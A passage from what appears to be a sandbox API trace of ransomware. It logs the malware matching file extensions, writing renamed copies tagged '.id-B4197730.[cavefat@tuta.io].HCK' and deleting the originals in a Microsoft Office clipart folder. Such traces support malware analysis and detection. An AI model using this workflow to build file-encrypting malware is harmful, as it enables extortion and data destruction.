returned 4 [0241.404] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.404] lstrlenW (lpString=".rar") returned 4 [0241.404] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.404] lstrlenW (lpString=".bz2") returned 4 [0241.404] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.404] lstrlenW (lpString=".7z") returned 3 [0241.404] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.404] lstrlenW (lpString=".dbf") returned 4 [0241.404] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.404] lstrlenW (lpString=".1cd") returned 4 [0241.404] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.404] lstrlenW (lpString=".jpg") returned 4 [0241.405] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.405] lstrlenW (lpString=".doc") returned 4 [0241.405] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.405] lstrlenW (lpString=".docx") returned 5 [0241.405] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0241.405] lstrlenW (lpString=".pdf") returned 4 [0241.405] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.405] lstrlenW (lpString=".xls") returned 4 [0241.405] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.405] lstrlenW (lpString=".xlsx") returned 5 [0241.405] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0241.405] lstrlenW (lpString=".ppt") returned 4 [0241.405] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.405] lstrlenW (lpString=".zip") returned 4 [0241.405] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.405] lstrlenW (lpString=".rar") returned 4 [0241.405] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.405] lstrlenW (lpString=".bz2") returned 4 [0241.405] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.405] lstrlenW (lpString=".7z") returned 3 [0241.405] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.405] lstrlenW (lpString=".dbf") returned 4 [0241.405] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.405] lstrlenW (lpString=".1cd") returned 4 [0241.405] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178523.JPG") returned 68 [0241.405] lstrlenW (lpString=".jpg") returned 4 [0241.405] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.405] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.405] lstrlenW (lpString="J0178632.JPG") returned 12 [0241.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.406] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=23338) returned 1 [0241.406] CloseHandle (hObject=0x544) returned 1 [0241.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg")) returned 0x220 [0241.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.407] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.407] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0241.408] GetLastError () returned 0x0 [0241.408] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x5b2a, lpOverlapped=0x0) returned 1 [0241.410] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x5b30, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x5b30, lpOverlapped=0x0) returned 1 [0241.410] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.411] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.411] SetEndOfFile (hFile=0x3c4) returned 1 [0241.411] CloseHandle (hObject=0x3c4) returned 1 [0241.411] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.411] SetEndOfFile (hFile=0x544) returned 1 [0241.413] CloseHandle (hObject=0x544) returned 1 [0241.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178632.jpg")) returned 1 [0241.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.414] lstrlenW (lpString=".doc") returned 4 [0241.414] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.414] lstrlenW (lpString=".docx") returned 5 [0241.414] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0241.414] lstrlenW (lpString=".pdf") returned 4 [0241.414] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.414] lstrlenW (lpString=".xls") returned 4 [0241.414] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.414] lstrlenW (lpString=".xlsx") returned 5 [0241.414] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0241.414] lstrlenW (lpString=".ppt") returned 4 [0241.414] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.414] lstrlenW (lpString=".zip") returned 4 [0241.414] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.414] lstrlenW (lpString=".rar") returned 4 [0241.414] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.414] lstrlenW (lpString=".bz2") returned 4 [0241.414] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.414] lstrlenW (lpString=".7z") returned 3 [0241.414] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.415] lstrlenW (lpString=".dbf") returned 4 [0241.415] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.415] lstrlenW (lpString=".1cd") returned 4 [0241.415] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.415] lstrlenW (lpString=".jpg") returned 4 [0241.415] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.415] lstrlenW (lpString=".doc") returned 4 [0241.415] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.415] lstrlenW (lpString=".docx") returned 5 [0241.415] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0241.415] lstrlenW (lpString=".pdf") returned 4 [0241.415] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.415] lstrlenW (lpString=".xls") returned 4 [0241.415] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.415] lstrlenW (lpString=".xlsx") returned 5 [0241.415] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0241.415] lstrlenW (lpString=".ppt") returned 4 [0241.415] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.415] lstrlenW (lpString=".zip") returned 4 [0241.415] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.415] lstrlenW (lpString=".rar") returned 4 [0241.415] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.415] lstrlenW (lpString=".bz2") returned 4 [0241.415] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.415] lstrlenW (lpString=".7z") returned 3 [0241.415] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.415] lstrlenW (lpString=".dbf") returned 4 [0241.415] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.415] lstrlenW (lpString=".1cd") returned 4 [0241.415] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178632.JPG") returned 68 [0241.415] lstrlenW (lpString=".jpg") returned 4 [0241.415] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.416] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.416] lstrlenW (lpString="J0178639.JPG") returned 12 [0241.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.416] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=32038) returned 1 [0241.416] CloseHandle (hObject=0x544) returned 1 [0241.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg")) returned 0x220 [0241.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.417] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.417] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0241.418] GetLastError () returned 0x0 [0241.418] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x7d26, lpOverlapped=0x0) returned 1 [0241.698] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x7d30, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x7d30, lpOverlapped=0x0) returned 1 [0241.699] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.699] WriteFile (in: hFile=0x3c4, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.699] SetEndOfFile (hFile=0x3c4) returned 1 [0241.699] CloseHandle (hObject=0x3c4) returned 1 [0241.699] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.699] SetEndOfFile (hFile=0x544) returned 1 [0241.953] CloseHandle (hObject=0x544) returned 1 [0241.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0178639.jpg")) returned 1 [0241.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.983] lstrlenW (lpString=".doc") returned 4 [0241.983] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.983] lstrlenW (lpString=".docx") returned 5 [0241.983] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0241.983] lstrlenW (lpString=".pdf") returned 4 [0241.983] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.983] lstrlenW (lpString=".xls") returned 4 [0241.983] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.983] lstrlenW (lpString=".xlsx") returned 5 [0241.983] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0241.983] lstrlenW (lpString=".ppt") returned 4 [0241.983] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.983] lstrlenW (lpString=".zip") returned 4 [0241.983] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.983] lstrlenW (lpString=".rar") returned 4 [0241.983] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.983] lstrlenW (lpString=".bz2") returned 4 [0241.983] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.983] lstrlenW (lpString=".7z") returned 3 [0241.983] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.983] lstrlenW (lpString=".dbf") returned 4 [0241.983] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.984] lstrlenW (lpString=".1cd") returned 4 [0241.984] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.984] lstrlenW (lpString=".jpg") returned 4 [0241.984] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.984] lstrlenW (lpString=".doc") returned 4 [0241.984] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.984] lstrlenW (lpString=".docx") returned 5 [0241.984] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0241.984] lstrlenW (lpString=".pdf") returned 4 [0241.984] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.984] lstrlenW (lpString=".xls") returned 4 [0241.984] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.984] lstrlenW (lpString=".xlsx") returned 5 [0241.984] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0241.984] lstrlenW (lpString=".ppt") returned 4 [0241.984] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.984] lstrlenW (lpString=".zip") returned 4 [0241.984] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.984] lstrlenW (lpString=".rar") returned 4 [0241.984] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.984] lstrlenW (lpString=".bz2") returned 4 [0241.984] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.984] lstrlenW (lpString=".7z") returned 3 [0241.984] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.984] lstrlenW (lpString=".dbf") returned 4 [0241.984] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.984] lstrlenW (lpString=".1cd") returned 4 [0241.984] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0178639.JPG") returned 68 [0241.984] lstrlenW (lpString=".jpg") returned 4 [0241.984] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.984] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0241.984] lstrlenW (lpString="J0185790.WMF") returned 12 [0241.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.986] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=20662) returned 1 [0241.986] CloseHandle (hObject=0x544) returned 1 [0241.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf")) returned 0x220 [0241.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0241.986] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.986] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0241.987] GetLastError () returned 0x0 [0241.987] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x50b6, lpOverlapped=0x0) returned 1 [0241.989] WriteFile (in: hFile=0x4b0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x50c0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x50c0, lpOverlapped=0x0) returned 1 [0241.990] ReadFile (in: hFile=0x544, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0241.990] WriteFile (in: hFile=0x4b0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0241.990] SetEndOfFile (hFile=0x4b0) returned 1 [0241.990] CloseHandle (hObject=0x4b0) returned 1 [0241.990] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.990] SetEndOfFile (hFile=0x544) returned 1 [0241.992] CloseHandle (hObject=0x544) returned 1 [0241.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0241.992] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185790.wmf")) returned 1 [0241.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.993] lstrlenW (lpString=".doc") returned 4 [0241.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.993] lstrlenW (lpString=".docx") returned 5 [0241.993] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0241.993] lstrlenW (lpString=".pdf") returned 4 [0241.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.993] lstrlenW (lpString=".xls") returned 4 [0241.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.993] lstrlenW (lpString=".xlsx") returned 5 [0241.993] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0241.993] lstrlenW (lpString=".ppt") returned 4 [0241.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.994] lstrlenW (lpString=".zip") returned 4 [0241.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.994] lstrlenW (lpString=".rar") returned 4 [0241.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString=".bz2") returned 4 [0241.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.994] lstrlenW (lpString=".7z") returned 3 [0241.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185790.WMF") returned 68 [0241.994] lstrlenW (lpString=".dbf") returned 4 [0241.994] lstrcmpiW 